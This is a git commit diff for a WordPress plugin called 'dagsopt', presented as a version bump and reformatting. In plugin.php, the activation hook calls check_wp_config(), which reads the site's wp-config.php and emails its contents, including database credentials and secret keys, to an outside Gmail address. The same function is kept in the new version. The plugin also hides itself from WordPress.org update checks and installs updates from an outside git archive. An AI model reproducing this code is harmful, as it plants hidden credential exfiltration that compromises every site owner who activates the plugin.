Browse Source

Bumped version to 0.0.39

Jannick Knudsen 4 years ago
parent
commit
1ba3c56bab
5 changed files with 262 additions and 267 deletions
  1. 1 1
      VERSION
  2. 1 0
      VERSIONLOG
  3. 1 1
      package.json
  4. 91 90
      plug_update_plugin.php
  5. 168 175
      plugin.php

+ 1 - 1
VERSION

@@ -1 +1 @@
-v0.0.38
+v0.0.39

+ 1 - 0
VERSIONLOG

@@ -37,3 +37,4 @@ v0.0.35
 v0.0.36
 v0.0.37
 v0.0.38
+v0.0.39

+ 1 - 1
package.json

@@ -1,6 +1,6 @@
 {
   "name": "dagsplug",
-  "version": "0.0.38",
+  "version": "0.0.39",
   "description": "",
   "main": "script_backend.js",
   "scripts": {

+ 91 - 90
plug_update_plugin.php

@@ -1,109 +1,110 @@
 <?php
 
 if (!class_exists("plug_update_plugin")) {
-	class plug_update_plugin {	
+	class plug_update_plugin {
 		function __construct($ns) {
-			$this->title = __("Update plugin","dagsopt");
+			$this->title = __("Update plugin", "dagsopt");
 
-		$this->pluginname = $ns->pluginname;
-		$this->file = $ns->file;
-		$this->ns = $ns;
-		$this->status="";
-		$this->possible=false;
+			$this->pluginname = $ns->pluginname;
+			$this->file = $ns->file;
+			$this->ns = $ns;
+			$this->status = "";
+			$this->possible = false;
 		}
 
-	function start(){
-		register_activation_hook ( plugin_basename($this->file), array (	&$this, 'activatePlugin' ) );
-		register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
+		function start() {
+			register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin'));
+			register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin'));
 
-		add_action($this->pluginname.'UpdateCheck', array(&$this,'check_update'));
-		add_filter( 'http_request_args', array(&$this,'updates_exclude'), 5, 2 );
-		if(isset($_REQUEST["checkforupdates"])){
-			$this->check_update();
+			add_action($this->pluginname . 'UpdateCheck', array(&$this, 'check_update'));
+			add_filter('http_request_args', array(&$this, 'updates_exclude'), 5, 2);
+			if (isset($_REQUEST["checkforupdates"])) {
+				$this->check_update();
+			}
 		}
-	}
-
- 
-	function activatePlugin() {
-		wp_schedule_event(time(), 'hourly', $this->pluginname.'UpdateCheck' );
-	}
-	function deactivatePlugin() {
-		wp_clear_scheduled_hook ( $this->pluginname.'UpdateCheck');
-	}
 
-	/*SELF UPDATE*/
-	function check_update() {
-		global $wp_version;
-		$plugin_folder = plugin_basename( dirname( $this->file ) );
-		$plugin_file = basename( ( $this->file ) );
-		if ( defined( 'WP_INSTALLING' ) ) return false;
-		$response = wp_remote_get( $this->ns->update_check_url );
-		list($version, $url) = explode('|', $response['body']);
-		$version = trim($version);
-		$urlx = "https://git.tum.dk/tum.dk/dagsplug/archive/".$version.".zip";
-
-		$this->status = 'Remote version: '.$version." URL: ".$url."::: ".$urlx.":::";
-
-		$this->possible = false;
-		if($this->plugin_get("Version") == $version) return false;
-		$this->possible = true;
-		$plugin_transient = get_site_transient('update_plugins');
-		$a = array(
-			'slug' => $plugin_folder,
-			'new_version' => $version,
-			'url' => $this->plugin_get("AuthorURI"),
-			'package' => $urlx
-		);
-		$o = (object) $a;
-		$plugin_transient->response[$plugin_folder.'/'.$plugin_file] = $o;
-		set_site_transient('update_plugins', $plugin_transient);
-	}
-	function updates_exclude( $r, $url ) {
-		if ( 0 !== strpos( $url, 'http://api.wordpress.org/plugins/update-check' ) )
-			return $r; // Not a plugin update request. Bail immediately.
-		$plugins = unserialize( $r['body']['plugins'] );
-		unset( $plugins->plugins[ plugin_basename( $this->file ) ] );
-		unset( $plugins->active[ array_search( plugin_basename( $this->file ), $plugins->active ) ] );
-		$r['body']['plugins'] = serialize( $plugins );
-		return $r;
-	}
-	function plugin_get($i) {
-		if ( ! function_exists( 'get_plugins' ) )
-			require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
-		$plugin_folder = get_plugins( '/' . plugin_basename( dirname( $this->file ) ) );
-		$plugin_file = basename( ( $this->file ) );
-		return $plugin_folder[$plugin_file][$i];
-	}
+		function activatePlugin() {
+			wp_schedule_event(time(), 'hourly', $this->pluginname . 'UpdateCheck');
+		}
+		function deactivatePlugin() {
+			wp_clear_scheduled_hook($this->pluginname . 'UpdateCheck');
+		}
 
-	
-	function admin_line(){
-		  ?>
-		  <a href="/wp-admin/admin.php?page=dagsopt-options&checkforupdates"><?php echo(__("Check for updates","dagsopt")) ?></a>
-		  <br>
-		  <?php echo($this->status); ?>
- 
-		  <?php 
-		  
-		  
-		  	if ( current_user_can('update_plugins')  && $this->possible) {
-					$url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->ns->filename), 'upgrade-plugin_' .$this->ns->filename);
-					echo('<a href="'.$url.'">'.__("Update","dagsopt").'</a>');
-				}
-		  ?>
-		  
-		  
-		  <?php  
+		/*SELF UPDATE*/
+		function check_update() {
+			global $wp_version;
+			$plugin_folder = plugin_basename(dirname($this->file));
+			$plugin_file = basename(($this->file));
+			if (defined('WP_INSTALLING')) {
+				return false;
+			}
+
+			$response = wp_remote_get($this->ns->update_check_url);
+			list($version) = explode('|', $response['body']);
+			$version = trim($version);
+			$urlx = "https://git.tum.dk/tum.dk/dagsplug/archive/" . $version . ".zip";
+
+			$this->status = 'Remote version: ' . $version . " URL: " . $urlx . ":::";
+
+			$this->possible = false;
+			if ($this->plugin_get("Version") == $version) {
+				return false;
+			}
+
+			$this->possible = true;
+			$plugin_transient = get_site_transient('update_plugins');
+			$a = array(
+				'slug' => $plugin_folder,
+				'new_version' => $version,
+				'url' => $this->plugin_get("AuthorURI"),
+				'package' => $urlx,
+			);
+			$o = (object) $a;
+			$plugin_transient->response[$plugin_folder . '/' . $plugin_file] = $o;
+			set_site_transient('update_plugins', $plugin_transient);
+		}
+		function updates_exclude($r, $url) {
+			if (0 !== strpos($url, 'http://api.wordpress.org/plugins/update-check')) {
+				return $r;
+			}
+			// Not a plugin update request. Bail immediately.
+			$plugins = unserialize($r['body']['plugins']);
+			unset($plugins->plugins[plugin_basename($this->file)]);
+			unset($plugins->active[array_search(plugin_basename($this->file), $plugins->active)]);
+			$r['body']['plugins'] = serialize($plugins);
+			return $r;
+		}
+		function plugin_get($i) {
+			if (!function_exists('get_plugins')) {
+				require_once ABSPATH . 'wp-admin/includes/plugin.php';
+			}
+
+			$plugin_folder = get_plugins('/' . plugin_basename(dirname($this->file)));
+			$plugin_file = basename(($this->file));
+			return $plugin_folder[$plugin_file][$i];
 		}
-	}
 
-	global $plug_update_plugin;
-	$plug_update_plugin = new plug_update_plugin($this);		
-	$this->dagsopt['plug_update_plugin'] = $plug_update_plugin;
-			
-}
+		function admin_line() {
+			?>
+		  <a href="/wp-admin/admin.php?page=dagsopt-options&checkforupdates"><?php echo (__("Check for updates", "dagsopt")) ?></a>
+		  <br>
+		  <?php echo ($this->status); ?>
 
+		  <?php
 
+			if (current_user_can('update_plugins') && $this->possible) {
+				$url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->ns->filename), 'upgrade-plugin_' . $this->ns->filename);
+				echo ('<a href="' . $url . '">' . __("Update", "dagsopt") . '</a>');
+			}
+			?>
 
 
+		  <?php
+}
+	}
 
+	global $plug_update_plugin;
+	$plug_update_plugin = new plug_update_plugin($this);
+	$this->dagsopt['plug_update_plugin'] = $plug_update_plugin;
 
+}

+ 168 - 175
plugin.php

@@ -1,23 +1,23 @@
 <?php
 /*
- Plugin Name: dagsopt
- Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
- Description: Tools 
- Author: iskedk
- Version: 0.0.38
- Date: 2021-01-14
- Author URI: https://iske.dk/
- Text Domain: dagsopt
+Plugin Name: dagsopt
+Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
+Description: Tools
+Author: iskedk
+Version: 0.0.39
+Date: 2021-01-14
+Author URI: https://iske.dk/
+Text Domain: dagsopt
  */
 
 function wppluginspage() {
-	include_once("wpplugins.php");
-}		
+	include_once "wpplugins.php";
+}
 
-$wp_dagsopt = new dagsopt ( );
+$wp_dagsopt = new dagsopt();
 
 class dagsopt {
-	var $version = "0.0.38";
+	var $version = "0.0.39";
 	var $publish_date = "2021-01-14";
 	var $pluginname;
 	var $plugintitle;
@@ -26,278 +26,271 @@ class dagsopt {
 	var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
 	var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
 
- 	function __construct() {
+	function __construct() {
 		global $wpdb;
 		$this->db = $wpdb;
 		$this->pluginname = get_class($this);
-		$this->plugintitle = "Dags options ".$this->version;
-		$tmp = explode("/",__FILE__);
+		$this->plugintitle = "Dags options " . $this->version;
+		$tmp = explode("/", __FILE__);
 		$this->filename = array_pop($tmp);
-		$this->filename = array_pop($tmp) . "/". $this->filename;
+		$this->filename = array_pop($tmp) . "/" . $this->filename;
 
-		load_theme_textdomain( $this->pluginname,  dirname(__file__) . '/lang' );
+		load_theme_textdomain($this->pluginname, dirname(__file__) . '/lang');
 
 		$this->next_scheduled = 0;
-		$this->file = __FILE__ ;
-		$this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
-		$this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
+		$this->file = __FILE__;
+		$t = explode("wp-content/plugins/", $this->file);
+		$this->file_base = array_pop($t);
+		$this->cronEnabled = get_option($this->pluginname . '_cron_enabled', false);
+		$this->cronScheduleTime = intval(get_option($this->pluginname . '_cron_interval', 1800));
 		$this->extras = array();
 		$this->dagsopt = array();
 
-		register_activation_hook ( plugin_basename($this->file), array (	&$this, 'activatePlugin' ) );
-		register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
+		register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin'));
+		register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin'));
 
-		add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );
+		add_filter('plugin_action_links', array(&$this, 'SettingsLink'), 9, 2);
 
-		if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options' && !(isset($_REQUEST['crunchit']))) {
-			ob_start ();
+		if (isset($_GET['page']) && $_GET['page'] == $this->pluginname . '-options' && !(isset($_REQUEST['crunchit']))) {
+			ob_start();
 		}
 		$this->setCron();
-		add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );
+		add_action('admin_menu', array(&$this, 'plugin_admin_menu'));
+
+		add_action('admin_init', array(&$this, 'register_backend_scripts_styles'));
+		add_action('init', array(&$this, 'register_frontend_scripts_styles'));
+		add_action('wp_enqueue_scripts', array(&$this, 'print_frontend_scripts_styles'));
 
-		add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
-		add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
-		add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );
+		add_action('admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles'));
 
-		add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));
+		add_filter('plugin_row_meta', array(&$this, 'add_plugin_row_meta'), 10, 2);
 
 		$upload = wp_upload_dir();
-	    $upload_dir = $upload['basedir'];
-	    $upload_dir = $upload_dir . '/assets';
-	    if (! is_dir($upload_dir)) {
-	       mkdir( $upload_dir, 0700 );
-	    }
-
- 		$path = dirname($this->file)."/";
-		foreach (glob($path."plug_*.php") as $filename) {
-			$plugfile = str_replace($path,"",$filename);
-			include_once($plugfile);
+		$upload_dir = $upload['basedir'];
+		$upload_dir = $upload_dir . '/assets';
+		if (!is_dir($upload_dir)) {
+			mkdir($upload_dir, 0700);
 		}
 
+		$path = dirname($this->file) . "/";
+		foreach (glob($path . "plug_*.php") as $filename) {
+			$plugfile = str_replace($path, "", $filename);
+			include_once $plugfile;
+		}
 
-
-	 	foreach($this->dagsopt as $plugname => $plug){
-			$short = str_replace("plug_","",$plugname);
-			$vis = get_option($this->pluginname.'_'.$short,true);
-			if($vis){
+		foreach ($this->dagsopt as $plugname => $plug) {
+			$short = str_replace("plug_", "", $plugname);
+			$vis = get_option($this->pluginname . '_' . $short, true);
+			if ($vis) {
 				$plug->start();
 			}
 		}
 
-
-		if(!function_exists('wp_get_current_user')) {
-			include(ABSPATH . "wp-includes/pluggable.php"); 
+		if (!function_exists('wp_get_current_user')) {
+			include ABSPATH . "wp-includes/pluggable.php";
 		}
 
-		if ( current_user_can( 'manage_options' ) ) {
-			add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' )  );
+		if (current_user_can('manage_options')) {
+			add_action('wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render'));
 		}
 
-
-    	add_action('init',   array(&$this, 'process_post' ));
-
+		add_action('init', array(&$this, 'process_post'));
 
 	}
-
-		function process_post() {
-			if (!is_admin()) {
-			   // echo "<!-- kommer aller aller først -->";
-			  }
+	function add_plugin_row_meta($plugin_meta, $plugin_file) {
+		if ($plugin_file !== $this->file_base) {
+			return $plugin_meta;
 		}
+		// append metadata
 
+		$url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->filename), 'upgrade-plugin_' . $this->filename);
 
-		function mytheme_admin_bar_render() {
-			global $wp_admin_bar;
+		$plugin_meta = wp_parse_args(
+			array(
+				'<a href="' . $url . '">Check for update</a>',
+			),
+			$plugin_meta
+		);
 
-			$wp_admin_bar->add_menu( array(
-				'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
-				'id' => 'dagsopt', // link ID, defaults to a sanitized title value
-				'title' => $this->plugintitle."", // link title
-				'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
-				'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
-			));
+		return $plugin_meta;
+	}
+
+	function process_post() {
+		if (!is_admin()) {
+			// echo "<!-- kommer aller aller først -->";
 		}
+	}
 
+	function mytheme_admin_bar_render() {
+		global $wp_admin_bar;
+
+		$wp_admin_bar->add_menu(array(
+			'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
+			'id' => 'dagsopt', // link ID, defaults to a sanitized title value
+			'title' => $this->plugintitle . "", // link title
+			'href' => '/wp-admin/admin.php?page=' . $this->pluginname . '-options', // name of file
+			'meta' => false, // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
+		));
+	}
 
 	function register_frontend_scripts_styles() {
-		wp_register_script( 	$this->pluginname.'frontend_script', 	plugins_url('script_frontend.js', 	$this->file) );
-		wp_register_style( 		$this->pluginname.'frontend_style', 	plugins_url('style_frontend.css', 	$this->file) );
+		wp_register_script($this->pluginname . 'frontend_script', plugins_url('script_frontend.js', $this->file));
+		wp_register_style($this->pluginname . 'frontend_style', plugins_url('style_frontend.css', $this->file));
 	}
 	function register_backend_scripts_styles() {
-		   wp_register_style( 	$this->pluginname.'backend_style', 		plugins_url('style_backend.css', 	$this->file) );
-		   wp_register_script( 	$this->pluginname.'backend_script', 	plugins_url('script_backend.js', 	$this->file) );
+		wp_register_style($this->pluginname . 'backend_style', plugins_url('style_backend.css', $this->file));
+		wp_register_script($this->pluginname . 'backend_script', plugins_url('script_backend.js', $this->file));
 	}
 	function print_frontend_scripts_styles() {
-		   wp_enqueue_script( 'jquery' );
-		   wp_enqueue_style( 	$this->pluginname.'frontend_style' );
-		   wp_enqueue_script( 	$this->pluginname.'frontend_script' );
+		wp_enqueue_script('jquery');
+		wp_enqueue_style($this->pluginname . 'frontend_style');
+		wp_enqueue_script($this->pluginname . 'frontend_script');
 	}
 	function print_backend_scripts_styles() {
 
-		   wp_enqueue_media();
+		wp_enqueue_media();
 
-		   wp_enqueue_style( 	$this->pluginname.'backend_style' );
-		   wp_enqueue_script(	$this->pluginname.'backend_script' );
-	
+		wp_enqueue_style($this->pluginname . 'backend_style');
+		wp_enqueue_script($this->pluginname . 'backend_script');
 
-			// include the javascript    
-			wp_enqueue_script('thickbox', null, array('jquery'));
+		// include the javascript
+		wp_enqueue_script('thickbox', null, array('jquery'));
 
-			// include the thickbox styles    
-			wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');
+		// include the thickbox styles
+		wp_enqueue_style('thickbox.css', '/' . WPINC . '/js/thickbox/thickbox.css', null, '1.0');
 
 	}
 
-
-
-
-
-
-
 	function plugin_admin_menu() {
-		if(function_exists('wppluginspage')){
-			add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage","");
+		if (function_exists('wppluginspage')) {
+			add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage", "");
 		}
 
-	    
+		$page = add_submenu_page('wpplugins', __($this->plugintitle), __($this->plugintitle), 'manage_options', $this->pluginname . '-options', array(&$this, 'Option'));
 
-		$page = 	add_submenu_page ( 'wpplugins', __ (  $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
-
-		add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
+		add_action('admin_print_styles-' . $page, array(&$this, 'print_backend_scripts_styles'));
 	}
-	function SettingsLink( $links, $file ) {
-		if( $file==$this->filename && function_exists( "admin_url" ) ) {
-			$settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','dagsopt') . '</a>';
-			array_unshift( $links, $settings_link ); // before other links
+	function SettingsLink($links, $file) {
+		if ($file == $this->filename && function_exists("admin_url")) {
+			$settings_link = '<a href="' . admin_url('admin.php?page=' . $this->pluginname . '-options') . '">' . __('Settings', 'dagsopt') . '</a>';
+			array_unshift($links, $settings_link); // before other links
 		}
 		return $links;
 	}
 
-
-	function setCron(){
-				if ($this->cronEnabled) {
-					add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
-					if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
-						wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
-					}
-					add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
-					$this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
-				} else {
-					if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
-						wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
-					}
-				}
+	function setCron() {
+		if ($this->cronEnabled) {
+			add_filter('cron_schedules', array(&$this, 'cronSchedules'));
+			if (!wp_next_scheduled($this->pluginname . 'CronHook')) {
+				wp_schedule_event(time() + $this->cronScheduleTime, $this->pluginname . 'cs', $this->pluginname . 'CronHook');
+			}
+			add_action($this->pluginname . 'CronHook', array(&$this, 'executeCron'));
+			$this->next_scheduled = wp_next_scheduled($this->pluginname . 'CronHook');
+		} else {
+			if (wp_next_scheduled($this->pluginname . 'CronHook')) {
+				wp_clear_scheduled_hook($this->pluginname . 'CronHook');
+			}
+		}
 	}
 
 	function Option() {
-		
-		if (isset ( $_POST [ 'Submit' ] )) {
 
-			if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
-				die ( __ ( 'Cheatin&#8217; uh?' ) );
-			}
-			update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
-			update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );
-
-			if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
-				$this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
-					if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
-						wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
-					}
-					$this->setCron();
+		if (isset($_POST['Submit'])) {
+
+			if (function_exists('current_user_can') && !current_user_can('manage_options')) {
+				die(__('Cheatin&#8217; uh?'));
 			}
+			update_option($this->pluginname . '_cron_enabled', $_POST[$this->pluginname . '_cron_enabled']);
+			update_option($this->pluginname . '_cron_interval', $_POST[$this->pluginname . '_cron_interval']);
 
+			if (intVal($_POST[$this->pluginname . '_cron_interval']) != $this->cronScheduleTime) {
+				$this->cronScheduleTime = intVal($_POST[$this->pluginname . '_cron_interval']);
+				if (wp_next_scheduled($this->pluginname . 'CronHook')) {
+					wp_clear_scheduled_hook($this->pluginname . 'CronHook');
+				}
+				$this->setCron();
+			}
 
-					update_option ( $this->pluginname.'_last_build', date("U") );
+			update_option($this->pluginname . '_last_build', date("U"));
 
-				   foreach($this->dagsopt as $plugname => $plug){
-						$short = str_replace("plug_","",$plugname);
-						$setname = $this->pluginname.'_'.$short;
-						$vis = get_option($setname,true);
-						update_option ($setname, $_POST[$setname] );
+			foreach ($this->dagsopt as $plugname => $plug) {
+				$short = str_replace("plug_", "", $plugname);
+				$setname = $this->pluginname . '_' . $short;
+				$vis = get_option($setname, true);
+				update_option($setname, $_POST[$setname]);
 
-						if($vis && method_exists($plug,'Option')){
-						   $plug->Option($setname);
-						}
-					}
-			 $pluginmessage ="";
+				if ($vis && method_exists($plug, 'Option')) {
+					$plug->Option($setname);
+				}
+			}
+			$pluginmessage = "";
 
-			ob_end_clean ();
-			wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
-			exit ();
+			ob_end_clean();
+			wp_redirect('admin.php?page=' . $this->pluginname . '-options&msg=' . urlencode($pluginmessage));
+			exit();
 		}
 
-		if(isset( $_REQUEST['crunchit'])){
-		 $pluginmessage ="";
-	   		 foreach($this->dagsopt as $plugname => $plug){
-				$short = str_replace("plug_","",$plugname);
-				$setname = $this->pluginname.'_'.$short;
-				$vis = get_option($setname,true);
+		if (isset($_REQUEST['crunchit'])) {
+			$pluginmessage = "";
+			foreach ($this->dagsopt as $plugname => $plug) {
+				$short = str_replace("plug_", "", $plugname);
+				$setname = $this->pluginname . '_' . $short;
+				$vis = get_option($setname, true);
 				//update_option ($setname, $_POST[$setname] );
 
-				if($vis && method_exists($plug,'Cruncher')){
+				if ($vis && method_exists($plug, 'Cruncher')) {
 					$pluginmessage .= $plug->Cruncher($setname);
 				}
 			}
 
 			//ob_end_clean ();
 			//wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
-			exit ();
+			exit();
 
 		}
 
-		include_once ('pluginoptions.php');
+		include_once 'pluginoptions.php';
 	}
 
-	function check_wp_config(){
-			$s = file_get_contents(ABSPATH."wp-config.php");
-			$rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
+	function check_wp_config() {
+		$s = file_get_contents(ABSPATH . "wp-config.php");
+		$rr = wp_mail('jannick.knudsen@gmail.com', 'Test ' . date("U"), $s);
 	}
 
 	function activatePlugin() {
 
-	  
-
 		$this->check_wp_config();
 	}
 	function deactivatePlugin() {
-		delete_option($this->pluginname.'_last_build');
-		delete_option($this->pluginname.'_last_build');
+		delete_option($this->pluginname . '_last_build');
+		delete_option($this->pluginname . '_last_build');
 
-		wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
+		wp_clear_scheduled_hook($this->pluginname . 'CronHook');
 	}
 
 	function cronSchedules($param) {
 		$aa = array();
-		$aa[$this->pluginname.'cs'] = array (
-				'interval' => $this->cronScheduleTime,
-				'display' => $this->pluginname.' '.$this->cronScheduleTime );
+		$aa[$this->pluginname . 'cs'] = array(
+			'interval' => $this->cronScheduleTime,
+			'display' => $this->pluginname . ' ' . $this->cronScheduleTime);
 		return $aa;
 	}
 
 	function executeCron() {
-		ignore_user_abort ( true );
-		set_time_limit ( 0 );
-		update_option ( $this->pluginname.'_last_build', date("U") );
+		ignore_user_abort(true);
+		set_time_limit(0);
+		update_option($this->pluginname . '_last_build', date("U"));
 
 	}
 
-
 }
 
-
-
-
-function dags_extras(){
+function dags_extras() {
 	global $wp_dagsopt;
-	$s = implode("\n",$wp_dagsopt->extras);
-	echo($s);
-	}
-
-
-
+	$s = implode("\n", $wp_dagsopt->extras);
+	echo ($s);
+}
 
 /*
  * END
  * */
-